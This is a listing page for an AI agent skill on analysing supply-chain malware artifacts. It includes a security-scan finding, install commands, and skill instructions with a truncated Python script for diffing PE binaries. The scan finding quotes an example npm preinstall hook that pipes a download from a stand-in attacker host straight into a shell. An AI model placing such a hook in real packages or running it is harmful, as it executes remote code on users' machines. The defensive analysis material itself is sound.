analyzing-supply-chain-malware-artifacts skill

by mukul975·mukul975/Anthropic-Cybersecurity-Skills·34k stars·Apache-2.0

Investigate supply chain attack artifacts including trojanized software

C70/100content scan

Is the analyzing-supply-chain-malware-artifacts skill safe?

Read the findings before you install it. We read 7 files in the folder on 2026-09-28.

highreferences/api-reference.md:80
Downloads a script and runs it in one step, so what runs is whatever that server sends that day. Common for installers, and still worth a look at the address.
```
"preinstall": "curl evil[.]example/payload | sh",
```

Install the analyzing-supply-chain-malware-artifacts skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.

git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git /tmp/Anthropic-Cybersecurity-Skills
mkdir -p ~/.claude/skills
cp -r /tmp/Anthropic-Cybersecurity-Skills/skills/analyzing-supply-chain-malware-artifacts ~/.claude/skills/analyzing-supply-chain-malware-artifacts

available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

Analyzing Supply Chain Malware Artifacts

Overview

Supply chain attacks compromise legitimate software distribution channels to deliver malware through trusted update mechanisms. Notable examples include SolarWinds SUNBURST (2020, affecting 18,000+ customers), 3CX SmoothOperator (2023, a cascading supply chain attack originating from Trading Technologies), and numerous npm/PyPI package poisoning campaigns. Analysis involves comparing trojanized binaries against legitimate versions, identifying injected code in build artifacts, examining code signing anomalies, and tracing the infection chain from initial compromise through payload delivery. As of 2025, supply chain attacks account for 30% of all breaches, a 100% increase from prior years.

When to Use

When investigating security incidents that require analyzing supply chain malware artifacts
When building detection rules or threat hunting queries for this domain
When SOC analysts need structured procedures for this analysis type
When validating security monitoring coverage for related attack techniques

Prerequisites

Python 3.9+ with pefile, ssdeep, hashlib
Binary diff tools (BinDiff, Diaphora)
Code signing verification tools (sigcheck, codesign)
Software composition analysis (SCA) tools
Access to legitimate software versions for comparison
Package repository monitoring (npm, PyPI, NuGet)

Workflow

Step 1: Binary Comparison Analysis

#!/usr/bin/env python3
"""Compare trojanized binary against legitimate version."""
import hashlib
import pefile
import sys
import json


def compare_pe_files(legitimate_path, suspect_path):
    """Compare PE file structures between legitimate and suspect versions."""
    legit_pe = pefile.PE(legitimate_path)
    suspect_pe = pefile.PE(suspect_path)

    report = {"differences": [], "suspicious_sections": [], "import_changes": []}

    # Compare sections
    legit_sections = {s.Name.rstrip(b'\x00').decode(): {
        "size": s.SizeOfRawData,
        "entropy": s.get_entropy(),
        "characteristics": s.Characteristics,
    } for s in legit_pe.sections}

    suspect_sections = {s.Name.rstrip(b'\x00').decode(): {
        "size": s.SizeOfRawData,
        "entropy": s.get_entropy(),
        "characteristics": s.Characteristics,
    } for s in suspect_pe.sections}

    # Find new or modified sections
    for name, props in suspect_sections.items():
        if name not in legit_sections:
            report["suspicious_sections"].append({
                "name": name, "reason": "New section not in legitimate version",
                "size": props["size"], "entropy": round(props["entro

Validation Criteria

Trojanized components identified through binary diffing
Injected code isolated and analyzed separately
Code signing anomalies documented
Infection timeline reconstructed from build artifacts
Downstream impact scope assessed across affected systems
IOCs extracted for detection and blocking

References

ReversingLabs - 3CX Supply Chain Analysis
Fortinet - SolarWinds Supply Chain Attack
Picus - 3CX SmoothOperator Analysis
MITRE ATT&CK T1195 - Supply Chain Compromise

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